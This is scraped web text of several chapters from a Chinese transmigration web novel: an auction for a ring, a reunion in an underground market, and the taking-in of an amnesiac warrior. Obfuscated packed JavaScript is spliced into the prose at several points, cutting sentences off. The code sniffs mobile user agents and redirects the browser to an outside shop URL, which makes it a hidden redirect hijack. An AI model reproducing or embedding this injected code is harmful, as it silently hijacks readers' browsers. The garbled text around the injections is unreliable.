玉雪倾指尖点在桌上,一下接着一下,那杯未尽之酒映出她冬雪般沉静的眼眸,仿佛置身于苍洱雪山,面对数万夷人兵马,寒风瑟瑟,刀剑肃杀。 “癸玄客出价黄金五十五万两!诸位还有要加价的吗?” “五十万两一次,诸位客官还有要加价的吗?” “五十万两第二次!江山尘土万两金,诸位莫惜一时钱财而错失良机啊!” “五十万两第三……” “六十万两!” 千里撼被吓的虎躯一震,转头看到玉雪倾一把掀开帘子露面叫价。 这怎么突然就燃起来了? 珍马行拍的可不止珍宝与豪杰,还有人情世故。 玉雪倾此举明摆着就是在威慑所有人,敢抢的都是与她为敌。 全场静寂片刻,隔着层层珠帘千里撼明显感到有无数道目光向她们这间投来。 反观玉雪倾,一手撩帘一手背后整个人泰然自若,就这么大大方方地接受那些目光在她身上反复流转,自始至终不卑不亢。 “楚国公府,六十万两。” 孙娘子见此不再抬价,刚要落槌便听那癸间玄客再次叫价道:“八十万两。” 顷刻间所有目光掉转矛头指向那道声音的主人,只不过他似乎并没有露面的打算,玉雪倾见此紧追不放,叫价道:“一百万两!” 这可不是笔小数目,千里撼心中盘算着。这一单不出意外会是珍马行迄今为止最贵的一单。 陈氏果然是好噱头。 “一百一十万两。” 似是故意讨玉雪倾不快般,那位癸间玄客始终紧咬不放。千里撼对陈氏志在必得,自然不在意她们争抢,只是偶然间,她瞥到玉雪倾那只背在身后的手心已经出了一层薄汗。 显然,她没有这么多钱。 想来也是,即便玉雪倾是女主,是四家之一,是年少成名的将才,可她没有实权没有依靠更没有多少钱财傍身。 这六十万两黄金应是她全部身家了。 千里撼仰头灌了口酒,不准备插手。无论今日几人竞价,价高多少,这枚扳指最后都会是她的囊中之物。 所以不急。 她将自己封闭起来,对外界一切充耳不闻,阵阵喧嚣似脚步声在门外匆匆往复。 这感觉像极了从前,那时候她还是高肃,最喜欢这样坐在寝室里翻书,有几个字能钻进脑子根本无所谓,她只是需要安全感。 机械地行为,腐朽的环境,和一个人书呆子模样的真呆子。无论谁来看这幅画面都会觉得和谐,然后主动忽略,这样高肃就得到了“安全”。 但那时候的她死都想不到日后会进入另一个世界,成为一个张扬的炮灰。 她自嘲的笑了笑,感叹世间变幻无由。 《困雪晴》这本书是偶然发现的,并没什么特殊的契机,仅仅因为那天下了雪,于是就拿了本名字里有雪的书翻。 在经过几页无聊的背景介绍后另一个雪字闯进了她的眼睛,紧接着她看到了玉雪倾,还有她的前半生。 像盘旋的风暴撞上闪电般惊人,玉雪倾有波澜壮阔的前半生,她具备在最柔软的云雾中夹杂雷电的能力,是另类的包容。 高肃抚摸着那个名字,企图用这种行为感染自己瘫痪的神经。平淡的生活被她过得稀碎,光是学费就已经让她筋疲力竭,没完没了的劳作与担忧会将人一步步推向平庸,更何况生活背后还埋伏着无数个失败。 她累的连同理心都没了。 低垂的眼皮和前倾的脖颈是一对好搭档,完美概括了什么叫“行尸走肉”。就是这样一个完美的千篇一律的活死人,却有一道惊雷炸醒了她。 女主之所以能成为主角是因为“被选择”,作为故事的载体她们要呈现出不同地模样,于是被动的诞生。 起初高肃以为玉雪倾也是如此,只不过是个完美的载体。但事实并非如此,《困雪晴》是本群像文,玉雪倾作为角色之一伪装的很好,柔软完美,就这样被塞进了“温柔又强大”的壳子里,成为万众瞩目的主角儿。 一切都刚刚好,好的特别俗。就在高肃即将合上这本书时,玉雪倾掩藏许久的另一个特质吸引了她——卑鄙。 “梆!” 刺耳的敲击声硬生生将千里撼拉回现实,价格还在叠加。她下意识看向玉雪倾,却只看到了她紧握的拳头和微微颤抖的指尖。 千里撼顿了顿,捂住眼睛理了下思绪,随后一拍脑门儿面带惊恐的看向玉雪倾。 她怎么忘了玉雪倾还有这个设定? 原著里玉雪倾只是性格基础,行为可一点都不基础,说掀桌就掀桌,人送外号“大魏乌鸦”。 看她今天这架势,这人是非要不可了。千里撼飞速思索着玉雪倾如果没拍到陈氏会怎么做,结果想了七七四十九种,每一种结局都是她在珍马行放火。 苍天啊!大地啊!她千里撼建造珍马行不易,真金白银砸进去,要真让这小祖宗毁了她这十一年就算白玩儿了! 不行不行,绝对不能这样。 千里撼焦虑到啃指甲,结果能想到的唯一对策就是滑跪加入。毕竟女主设定是个武将,武力值大魏第三,这是什么概念。 如果说千里撼是□□的话,那女主就是核武器,这还打个屁! 这下轮到千里撼颤抖了。她看向玉雪倾,发觉她浑身紧绷蓄势待发,目光流转似是在寻找什么趁手兵器。见此情景,千里撼痛苦地捂住了脸。 楼下孙娘子还在加价,千里撼却一阵透心凉。 片刻后,千里撼抹了把脸,拿过手边美酒悲壮的站起身来。 玉雪倾正在找珍马行最易突破的大门,见千里撼突然起身,顿时心下一惊,眼神有些许愕然轻声道:“琼林?” 一个人杀出珍马行她有八成胜算,但要捎上千里撼她可就只剩六成了。不过只要两人装作不认识千里撼就能大摇大摆走出珍马行,问题也不大。玉雪倾思索一番同千里撼拉开距离,这样比较方便逃跑。 千里撼并未答话,提起酒盏放在烛旁一烧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通体黄金所制的兽首扳指在空中打了好几个滚儿后被玉雪倾一把抓住,熟悉地图案在掌中乍现。 错不了,就是他。 见玉雪倾神色异常,千里撼起身询问道:“可是你要找的人?” “是。” 玉雪倾将扳指放在心口,眼神坚毅的看向千里撼道:“琼林今日之恩没齿难忘,来日若有需要尽管开口。” “不必,”千里撼摇摇头,指了指扳指道:“我既有心与你结交,这个,权当见面礼。” 玉雪倾明白她的意思,一把握住千里撼左手道:“琼林乃吾之知己,你我二人日后便是异姓姐妹,不求同生但求共死!” “正合我意!” 她反握住玉雪倾右手,双目放光,二人就此立下约定,誓要干翻白家! 面对玉雪倾,千里撼毫不遮掩自己的野心,也正因如此玉雪倾在她身上感受到了前所未有的安全感,像两头并行黑夜的狼,只交换一个眼神便能精准锁定猎物。 珍马行今夜拍卖结束,诸位贵客也纷纷离场,千里撼借此时机绕进癸间后门却扑了个空。 仿佛猜到有人会来般,那张桌上还有一杯新倒的热茶冒着丝丝雾气。 她走进屋内看着那只茶盏嗤笑一声道:“挑衅么?” 9. 天命倒悬 子夜山门开,孙娘子带领玉雪倾闯入了另一个世界,珍马行地底——海蜃天。 玉雪倾:“珍马行背靠大山,传闻重明馆背后那位富可敌国,当初硬生生凿空一座山建了处名叫“海蜃天”地世外桃源,想来应是此处了。” 飞檐斗拱,紫阙金銮,玉阶千里绵延。玉雪倾新奇的打量着周围的一切,本以为是什么暗无天日的地狱,结果竟是桃花源。 孙娘子点点头道:“此处确是海蜃天,但并非传闻中神秘,只是牵扯生意之事,不便示人而已。” “从前听人说过海蜃天,但只当天方夜谭,如今亲临此处,当真不同凡响。” 正在查账得千里撼莫名打了个喷嚏,在感叹一番大魏空气质量后又将头埋进如山的账本之中。 “贵客过奖了,一切皆是工匠之劳。”孙娘子说着,将一枚铜牌塞入长廊尽头的梼杌像中,霎时间天塌地陷,二人稳稳落入一片草坪。 孙娘子转头为玉雪倾带路道:“欢迎贵客来到真正的海蜃天。” 顺着孙娘子的手,玉雪倾放眼望去,震惊的竟说不出一个字。此处灯火通明,不分昼夜,四周屋舍皆同地上无异,就连气中烟火与熙攘人群也真假难辨,面对她们的到来众人并未过多关注,只匆匆一眼便专注自身之事。 这个世界过于真实,以至于让玉雪倾认为自己是在做梦。她缓缓向前挪了几步,猛然停下脚步低头看向地面,青草的芬芳传来,她用脚掌蹭了蹭,发觉有绿汁沾染靴底,上头还有晶莹露水。 “真是大开眼界。”玉雪倾呼吸一滞,叹为观止,顿了许久冒出这几个字来。 孙娘子道:“此处严禁外人入内,但馆主特地叮嘱要带贵客来逛一逛,还请贵客见谅。” “无妨,我才是该多谢,”玉雪倾刚缓过神来,面对孙娘子地话行礼道谢,道:“还请娘子代我多谢馆主。” “好的。” 海蜃天四通八达,其中住户更是不计其数。它不像另一个重明馆,更像地下“大魏”。 孙娘子在前头滔滔不绝的介绍着,玉雪倾虽惊叹此处鬼斧神工却也渐渐清醒过来。在海蜃天中五步一爵十步一相,文臣武将,各路豪侠不计其数,那些难得一见的人中龙凤在这里一抓一大把。 真是天下英雄如过江之鲫。可无论他们曾经再怎么翻云覆雨,如今也不过是件“商品”。 困在这方天地之中,穷奢极欲如何,聊过往功绩又如何,人生百年弹指间,更何况还是死过一次的人,他们的价值已经打了对折。至于剩下的那一半,则在于往后要怎么活。 二人穿过闹市走进竹林,最后停在一间竹舍门前。玉雪倾微微抬眼,看到门牌上那个龙飞凤舞的“弦”字时心头一震。 “陈公子,接您的人来了。” 屋内响起脚步声,那人一静一动皆回荡于竹林之间,玉雪倾双眉微蹙,精神紧绷。竹门咧开一道缝,药苦味迫不及待从中钻出,像受够了屋内地憋闷。 那道门迟迟不开,玉雪倾几乎已经失去耐心,可恐惧硬生生将其缠住,她不敢动。 “吱呀!” 如同一道雷鸣,屋内人应是想通了什么,门开那一瞬间玉雪倾整个人似卸掉千斤重担。 那人对上玉雪倾双目,顿时一行清泪落下,分明神色哀伤却硬挤出一抹微笑。 孙娘子见状识趣离开道:“按规矩二位还可在此停留三日,三日之后世间便再无陈长行了。” 熟悉的香气攀上玉雪倾鼻尖,百合的味道在唤醒她的记忆,只是此时此刻,那股香气中纠缠着无法抹去的中药味儿,苦涩又难过。 陈长行长发披洒,一件白衣松松垮垮挂在身上,没什么精神,他像一只鬼,失魂落魄无家可归,只在见到玉雪倾时才知道什么叫人间气。 二人就是这样对视,一语不发。玉雪倾见故人这般,如鲠在喉,几次想要开口而不能,最后,陈长行向前踏出一步道:“阿折,不认识我了吗。” 心脏要碎成几片才好,玉雪倾在看到陈长行那一刻迸发出了滔天的恨意,她绝不会放过白家。但另一面,她又很痛,目之所及陈长行身上的哪一处她都会跟着痛,像被剥皮抽筋。 那颗永恒不落的太阳,不知何时已经分崩离析。 玉雪倾指尖轻颤不相信自己的眼睛,猛的托起陈长行脸颊仔细打量,不愿放过任何细节。病气恹恹,眉眶深陷,唇无血色,形销骨立,脆弱的像个披上人皮地纸娃娃。 珍马行要留下的人必不会使其受到伤害,哪怕是个死的珍马行都会想办法让他站起来。 所以陈长行这副模样已是被医治过后的,可见流放时受到的伤有多重。思及此处泪水夺眶而出,玉雪倾秀丽的面容早已变得狰狞,她极力克制自己,抽搐的挤出个微笑道:“我当然认得你,你是陈弦啊。” 那只托着陈长行脸颊的手不受控的软了下来,化轻轻抚摸。 “是你买了我吗。”陈长行感到无比的心安,他突然很想好好睡一觉,有玉雪倾在身边,他一定能安稳睡着。 “是,我遵守约定来带你回家。你忘了吗?” 陈长行乖顺的看着玉雪倾,抚上那只贴在他脸颊的手轻轻摇了下头,咧唇道:“我当然没忘,只是谢谢你还记得。” 十五年前新帝继位,白笑孔刚对陈氏大行嘉奖后便联合一众新臣设计陷害,将陈氏一家的根彻底从大魏的土地中挖了出去,自此之后白笑孔前前后后打击陈家九次,终于将陈家最后一脉流放。 而陈长行,他自出生起只享了九年的福,之后成了一本案卷,记载白家对陈氏的每一次伤害。作为灾难的亲历者,他一次次逃脱、一次次赦免、一次次流放,最终被赶到不毛之地做苦役,日夜遭受鞭笞,食不果腹,更不必说诸多落井下石之人。 本以为余生不过如此,机缘之下却被珍马行秘密换回,最后竟拍出两百万两黄金得以重见天日,只因他姓陈。 玉雪倾将扳指塞进陈长行手中,道:“跟我回家吧,回我们家,这些年来我好想你。” 陈长行睫毛轻颤,看着玉雪倾认真的模样,鼻尖一酸,心中又喜又怕。 他失去了一切,成为累赘,大魏疆域之内注定不会再有陈长行出现。 这世上,仅有玉雪倾一人渴望他存在,如从前般,朝夕不变。 或许是天真,或许是残忍,他一边极力的想要回到从前,一边又鄙视那份恬不知耻的贪婪,一个一无所有的废物却执意要黏在玉雪倾身边。 他瞧不起自己。 但又不舍得放开。 陈长行自嘲的笑了下,摇摇头岔开话道:“别取笑我了。方才在竹舍中我还想是谁这么蠢,竟会花这么多钱买下我,如今看到是你却也不意外了。” 陈长行将扳指拿在手中看了看,最后轻笑一声,拉着玉雪倾走进竹舍。 “先进来吧。我想好好睡一觉再走,你愿意陪我吗。” 玉雪倾:“我会永远陪着你。” 冰冷的掌心将玉雪倾左手包裹,她回握住却险些被其冻伤,竹舍大门发出吱吖声,恍惚间记忆袭来。 十八年前玉家与陈氏关系亲密,玉家家主玉如意同陈长行母亲楚嬛曾是旧友,二人一文一武早于先帝在位时就已功成名就,封侯入阁。 只可惜朝廷风云诡谲,若有雷霆就连宫墙草木也不能幸免,楚嬛敏锐捕捉到白家内部纠纷后便辞官离去,嫁进陈氏这座大山中。玉如意手握兵权自然无法全身而退,只能在风雨飘摇中周旋。 那是一段幸福到虚假的时光,楚嬛嫁进陈氏第二年便生下了陈长行。次年,玉如意为避储君争斗卸甲还乡生下玉雪倾,自此之后玉陈两家常常走动,玉雪倾与陈长行也成为彼此密不可分的好友。 玉如意曾一度要给两个孩子定下娃娃亲,但都被楚嬛否了,理由是怕玉折以后长大瞧不上陈弦受委屈,结果玉如意一听这话更想订亲了。 不过十年之后的玉如意一定会感谢楚嬛当初阻止了她,如果她还有机会的话。 白笑孔作为先帝第六女并不出众,却是这场皇位争斗中显示出无比强劲势头,明里她淡泊名利醉心山水,满心满眼只有黎民百姓,暗里她拉拢权贵,陈氏这座高山早就戳进她的心窝了。 楚嬛冰雪聪明,早在所有人之前看出了白笑孔的虎狼之心。她看着白笑孔貌似温和实则恐吓的笑容心中默默和上天打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292879|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赌,这场战争中白笑孔的赢面有六成,百姓的赢面有五成,可陈氏的赢面只有三成。 作为三姓一族的陈氏就如白家天下一般,已经过了最鼎盛的时候,再往后就只能下坠。 对白家,白笑孔是最好的选择,对天下百姓白笑孔貌似合格,可对陈氏这座大山而言它已经不能再高了。楚嬛草根出生,身若浮萍自然不在意许多,可如今她有了家人有了孩子,面对白笑孔的威逼利诱她只能赌,赌陈氏的命、赌白笑孔的狠、赌天意。 许是天妒英才吧,楚嬛在定下计划后撑了八年便撒手人寰,留下一个失魂落魄的鳏夫和嗷嗷待哺的陈长行。 玉如意接手了楚嬛的计划,缓缓展开《青鸟策》,她发现这个世界的脚步竟然真的跟在楚嬛身后。楚嬛联合了四大家族拧成一股绳誓死效忠白家,白笑孔得不到任何一股助力,但暗地里四家却不断帮助白笑孔,因为楚嬛明白,那些酒囊饭袋根本敌不过白笑孔。 在这场争斗中楚嬛将陈氏分散各处,养精蓄锐隐藏实力,甚至些分支远赴边疆,可人又如何能与天斗? 打了许多年地南北疆突然安静了,从来猖狂的东夷也俯首称臣,就像天意如此,陈氏大限将至。 她输了。 白笑孔登基帝位后扶持新贵,又对四大家族大行封赏,此时的陈氏已然够得上功高盖主这条罪名,只不过边关尚有余毒未清,而陈氏很好用罢了。 玉如意察觉到白笑孔心思后便将陈长行接到玉家读书,对外散布他自幼身弱习武不能,然恐陈氏一脉既断于此便苦读诗书以备科考。 可白笑孔又怎会是那么容易糊弄的人,纵然有楚嬛布下的层层防御,白笑孔依旧锲而不舍的打压着陈氏,整整九次,她才将这一脉除尽。 飞鸟尽,良弓藏。那么,下一家会是谁呢? 龙泉剑寒光烁烁,映着玉如意的苦笑,惨淡悲凉。若楚嬛还在她一定会有办法,可她去了,普天之下唯一与白家抗衡的智者不在了,同这江山一般,都到了油尽灯枯之际。 陈长行伏在玉雪倾膝头沉沉睡去,毫无防备,像孩子一样。她屈指撩起一缕黑发轻捻,又干又柴同枯草一般,陈长行呼吸渐渐平稳,甚至断断续续的梦呓。玉雪倾轻抚他眼下乌青,终于露出一抹真心实意的笑容,她这辈子没白来,至少找回了陈长行。 想起十年前母亲临终之际,久久不肯闭眼的模样,玉雪倾脑中全是她那段糊涂话:“与虎谋皮,终遭反噬,白家无情无义!楚嬛,我对不起你,天命如此啊!苍生涂涂,百姓凄凄,青鸟,青鸟飞来了,我看到了——青鸟!” “玉折,好好活着。替我守好阿嬛的血脉,我就要变成白鸟,飞走啦——”玉如意双目失神,两手空抓着什么,嘴角洋溢着幸福的笑容。 凄厉的声音还在耳边盘旋,然玉如意早已故去了。玉雪倾从回忆中抽离,看向陈长行,她感到命运在回转,这一次的选择是对的。 陈氏一死天下纷争不断,各路妖魔蠢蠢欲动,更别提连年天灾。民不聊生,帝王刚愎,如此这般她玉家又如何独善其身。 陈长行睡醒后将自己为数不多的几件衣物打成包裹,跟随玉雪倾离开了海蜃天,他并不知道自己出去以后会成为谁,更不在乎,只知道无论如何都不会再孤身一人。 陈长行这个姓,这个人,都是一种累赘,无论走到哪里都会带来灾难,在这世上能够承接他的只有玉雪倾一人,唯她而已。 千里撼回到千府邸,一进屋就看到个彪形大汉在上蹿下跳,感觉下一秒地板都要被戳破了。燕儿站在那人身旁横扒竖挡,一会儿护着桌子一会儿抱起茶盘,生怕他把房子拆了。 “这是闹的哪出啊?” 燕儿闻声满脸委屈,泪汪汪的跑向千里撼告状道:“郡主你可回来了!” “怎么了?”,千里撼将其揽过安抚道。 燕儿:“我也不知道,他一醒了就像疯了似的到处跑。一开始还不穿衣裳,后来我好不容易给他套上了他就开始翻东西,也不说话。胳膊比我头都粗,力气还大,喘起气来跟熊一样,我一呵斥他他就拿头撞我,吓死我了!” 这是怎么回事?斛瑟罗凛是这种人设吗? 10. 千里不留风 斛瑟罗凛还在四处翻找什么,燕儿好不容易为他披上的那件大褂随着他横冲直撞已然有崩坏的嫌疑。 虽然不是第一次见,但千里撼越靠近斛瑟罗凛就越是惊叹基因的神奇之处。这满屋的人哪个不是身高八尺有余,就拿自幼习武的佩儿来讲,她算是矮一些的人,但换成现代人的身高也有一米七十大多,甚至千里撼还要比她高大一些。 但就是这样一群人里,斛瑟罗凛依旧鹤立鸡群,哪怕已是受尽折磨的躯体却还如此健壮,个子硬生生高了千里撼近两个头。 她还是头一次抬头看人,有些新奇。千里撼见他忙忙碌碌也不知在做什么,于是试探上前,道:“你,听的懂我说话吧。” 闻言,斛瑟罗凛身躯一抖,放下手中的瓷瓶缓缓转头,看向千里撼。 他记得这个人,是这个人救了他。 斛瑟罗凛缓缓逼近千里撼,想要更仔细的看看她。 在这样的距离下,他的五官愈加清晰。当初在笼子里脏的没法看,如今洗干净了还是蛮好看的,千里撼蹙了蹙眉,像放任宠物撒娇般,毫不在意的任其打量,甚至张开了双臂。 斛瑟罗凛是典型的北疆长相,面容十分立体,两道粗眉悬在狼目之上看起来生人勿近。她本以为未来的北疆王会是个膀大腰圆的粗汉子,毕竟原书对其外貌并未过多描写,结果这么一看倒像个熊崽子。 他就这样呆呆的看着千里撼,好像在要在她脸上看出花来。 千里撼见他这幅几近痴傻的模样笑道:“所以你是听不懂了?” “不。” 斛瑟罗凛突然冒出这么个字来,缓缓摇了摇头,复又看向千里撼,最后俯身一把将其搂住。 顷刻之间,佩儿闪身出现,将剑撂在斛瑟罗凛颈间,随时准备动手。 “佩儿,退下。”,千里撼见斛瑟罗凛并无动作,于是命令道。 佩儿不情不愿的后退一步,但并未收鞘,时刻警惕着。千里撼心中也存了个疑影儿,面对反常的斛瑟罗凛一边试探一边期待,毕竟这样的顶级外挂,不到必要之时她一定会护的好好的。 斛瑟罗凛力道很重,像要将她捏碎,千里撼不适的拍了拍他肩膀道:“你想杀我?” 话音刚落,她就感到一阵滚烫,最后惊觉他在颤抖。 “你很害怕?还是痛苦?” 怀中人动了动脑袋,温热气息扑在她肩上。凶猛的大家伙此刻靠在她怀中瑟瑟发抖,这不禁勾起千里撼的恻隐之心,想要探索他的过去。 “救了我,你。你救了我,救了我。” 过高的体温让千里撼有些不适应,她清冷惯了。斛瑟罗凛一遍遍重复这几个字,像在安慰自己,每重复一遍他就安静一些,对此刻的安全认知更深刻一些。 所以,他得救了。不必再作为“人牲”被使用,孤身在炼狱般的骈柳山日复一日的将不知姓名的人丢进火炉,嗅闻腐肉的气息,连同脊背流出的鲜血也化作黑色。 千里撼见他呼吸逐渐平稳,问道:“你知道自己叫什么吗?” 叫什么?他叫什么?他有名字吗? 不,不对。他不可以有名字,他没名字,也不需要名字。 可他叫什么呢?平常人都是怎么叫他的? 哦,他们叫他大家伙、傻大个儿还有大牲口。 斛瑟罗凛摇摇头,他不喜欢这些名字。 千里撼拥着他,心中确信此人已经失忆了。 原著里根本没有这个情节,但仔细一想也说的通了。若斛瑟罗凛没有失忆,那为什么会臣服于千里逢,帮他四处征战。想必最后与千里逢决裂甚至反目成仇,也是因为恢复记忆了吧。 她安抚着斛瑟罗凛,脑中涌现许多,心中万分感激自己顺手将他买了回来。原著中斛瑟罗凛的战斗力自不必说,简直就是植物战僵尸里的玉米加农炮的存在。 书中后期的斛瑟罗凛直接将权威二字写在脸上,但很显然此刻千里撼怀中拥着的“庞然大物”并不具备这样的能力。 作为一个合格的外挂斛瑟罗凛此时还不够合格,他需要一些加工。 千里撼舒了口气,打定算盘,道:“既然如此我便给你取个名字,从今以后你就叫罗凛,做我的侍卫,好不好?” 他听不懂。 斛瑟罗凛看向千里撼心中十分亲切,这是第一个对他好的人,给他治病穿衣,让他睡在床上,还有米吃。 他点了点头,又抱住千里撼,像树懒不愿离开他的大树。 千里撼见状满意的笑了,可下一刻笑意便僵在嘴角。罗凛晕了过去,她这才意识到方才的高温是异常,惊慌失措的找来大夫为其医治。 “回禀郡主,此人应是长期劳累致使内伤复发。除此之外他还曾患肺痨,四肢皆有痹症,不过肺痨已经治愈,不会传染,还请郡主放心。” “……居然这么严重。” 看着榻上的罗凛,千里撼突然感到了背叛。这感觉并非源于自身,而是源于罗凛。 他像一个固定NPC,被反复折磨,遭受许多不必要的历练,像戏剧般不断上演,最后遇上一个所谓的“救世主”使其脱离苦海。而这所有的剧情都只为了“夺回北疆”这个宿命,像棋盘上的一条线,为“救世主”服务并取悦奕棋者,在完成一切后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斛瑟罗凛的苦难在她意料之外,这同时也让她失去了部分掌控感,哪怕将世界握在手心,但世界中的人每一个都很复杂又不可控。 这难道就是良心发现? 千里撼抚过他锁骨上的疤痕,什么都没说,起身离开。 如果有一天,斛瑟罗凛恢复记忆,只要他不与她为敌,只要他愿意,那么她就放他离开。 但现在,为了她的宏图霸业,为了已经牺牲的一切,她必须利用斛瑟罗凛,使他发挥最大的威力。 她绝不会放手。 11. 菩提弃 千里相府家大业大,千里撼自己手里的奇珍异宝也一箩筐,再难治愈的病有这些好药也能救回来九成。 除此之外,罗凛的自愈能力也相当强悍,横竖不过躺了十几天,身上的伤竟全好了,整天跟个没事人似的一睁眼就找千里撼,活像小蝌蚪找妈妈。 终于,忍无可忍的千里撼决定给罗凛找点事做,虽然他失忆了还有些“PTSD”并且智力水平在十三岁,但总归是没有大问题,只要不说话绝对看不出! 所以说这到底算不算雇佣童工? 千里撼甩甩头抛弃这个想法,随手摘下腰间佩剑扔给罗凛,喊来了佩儿。 一抹黑色身影迅速来到千里撼身前,罗凛见此心中大惊,一把冲过去挡在千里撼身前。 她本以为罗凛会怕的钻进自己怀里,却没想到第一反应是挡在她身前,狭隘了。千里撼摸了摸鼻尖儿,胸膛里本不存在的良心渐渐浮现,这就是忠诚的魅力吗。 她拉过罗凛的爪子,对其轻声道:“你们两个互相认识一下,这是佩儿姐姐,也是好人。以后你就和她一起保护我了。你在明佩儿在暗,要好好相处哦。”,说完转头对佩儿眨了眨眼。 佩儿那张半永久冰块脸只对千里撼一人开放其它表情,面对这个突如其来的“同事”她多少有些不满,不过还是听话的转身向罗凛抱拳道:“我认识得你,当时就是我把你扛回来的,比熊都重。” “噗!”,千里撼闻言没忍住笑了一声,余光瞥见燕儿也在憋笑。 罗凛正值“青春期”,脸上一阵红一阵白,最后撅了撅嘴,从牙缝中蹦出几个字道:“我叫罗凛,我没有比熊重。” “嗤。” 佩儿发出不屑的声音直接道:“过来比划比划,可不是什么货色都能保护郡主的。”,说完身形一闪便到了庭院。 罗凛手握长剑不解的看着千里撼。 千里撼往嘴里塞了块果子道:“去试试吧,就当考试了,记得使出全力。” 罗凛点点头往出走,二人站定后相互行礼便开始比试。 “燕儿,你说他能撑过佩儿几招?”,千里撼拉燕儿一齐看戏道。 燕儿托着下巴思考一番,答道:“这个人块头这么大应该只会蛮力吧,我觉得他也就能跟佩儿姐姐过个四五招。郡主觉得呢?” “二十招。” “这么多!姑娘你是不是太高看这个人了?”,燕儿迄今为止还没见有谁能在佩儿姐姐手下挺过十招,可郡主又从不说大话,一时之间给燕儿纠结个好歹。 千里撼道:“这样吧,赌一道酱肘子。你若输了明天就做,我若输了就给你十两纹银,如何?” “好!”,燕儿一听心中乐开了花儿,直接站在千里撼身后给佩儿打起气来。 罗凛见佩儿身形奇快便先发制人。 他凭借本能一把丢出长剑直冲佩儿面门,瞅准机会转身拉近距离,利用体型优势和佩儿打起近战。不过令他没想到的是佩儿看似纤细实则有力,一柄长剑使得行云流水似活过来般。罗凛在刚开始压制佩儿几招,随后被佩儿逆转局势,在短短十招之内佩儿便看穿他的路数,甚至直接用他的招数对付他。 罗凛被处处压制,尽管有些吃力,但还是坚持许久才败下阵来。 燕儿一招招数着,最后惊喜道:“姑娘你好厉害,整好二十招!”千里撼笑了笑没说话。 罗凛被佩儿拿剑指着站在原地,千里撼见状拍了拍手道:“如何,佩儿。这下他可入你的眼了吗?” 佩儿手腕一转,将背上弯刀抽出丢向罗凛道:“这个送你,日后若不尽责小心我杀你。” 罗凛接过弯刀,满头雾水。 千里撼则站在一旁笑的前仰后合,道:“哈哈哈哈!佩儿,你若是欣赏他可以和他交朋友嘛,怎么连见面礼都送的像是死亡威胁似的!哈哈哈哈哈!” “我只忠于郡主,不需要朋友。燕儿除外。”,佩儿说罢将长剑收起回到千里撼身边。 千里撼对着呆愣在原地的罗凛道:“这世上没几个人是佩儿的对手,哪怕许多身经百战的将军也撑不过十招,她是剑仙兰若的唯一弟子,你能过个二十招已经很厉害了。” 罗凛本来还在把玩弯刀,一听到“兰若”二字整个人都精神了,脱口而出道:“兰若?是晋中剑仙兰若!那个说出‘万里江山一日空,不过半晌阎罗梦’的剑仙兰若吗!” “哈哈哈哈哈!” 千里撼闻言再次捧腹大笑,就连一向冷脸的佩儿闻言都有些尴尬。罗凛这仿佛念什么广告宣传词般的自问自答实在有趣,于是千里撼顺着他的话调侃道:“对对,就是那个自创‘恣狂剑法’又独身杀穿六观十三庙的剑仙兰若。” “不过,你又是怎么知道的。”,千里撼笑够了收敛神色看向罗凛,神色如常,只是询问中带了几分探究。 罗凛闻言默默低下头回忆着,他怎会知道呢? 思绪像一条白绫飘至颈间,眉心泛起细密的疼痛,掌中弯刀滑落,罗凛跪坐在地双手抱头不知所措。千里撼见状,心中大呼不好,一个箭步冲到罗凛面前捂住他的双眼道:“好了,不要想了。” 怪她有些心急了。 见罗凛渐渐转好,千里撼同其拉开距离。 罗凛终究还是智力有缺陷,头痛刚好,忆起方才那番话便对佩儿肃然起敬,行礼道:“方才对前辈多有冒犯,若有机会前辈可否再与晚辈比试一二?” 还真是识时务啊,罗凛这滑跪速度千里撼甚至自愧不如,不过原著里确实也写过他是个武痴,被千里逢买回府中便一直苦练,直到后面成为北疆王也不懈怠。 面对罗凛这一百八十度大转变的态度佩儿已经见怪不怪了,谁让她师父名扬天下,只要这个名字一出来无论对面是谁都会高看她一眼的。 毕竟在剑仙这个名号出来前,世人大多习惯管兰若叫“晋中横刀鬼”,不服的都死了。 “好了,今日比试就到此为止吧。”千里撼发话道:“待会儿叫燕儿带你去做几身衣裳,先吃饭。” 罗凛本来无知无觉,待千里撼一说才意识到自己这身衣裳早因用力过猛而爆开,腰侧、胸前、后背几乎一览无余。 见此,罗凛赶忙捂住那几条破布试图遮挡身躯,整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292881|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次变红。 千里撼又在一旁笑起来,笑的前仰后合,被燕儿搀扶离开。 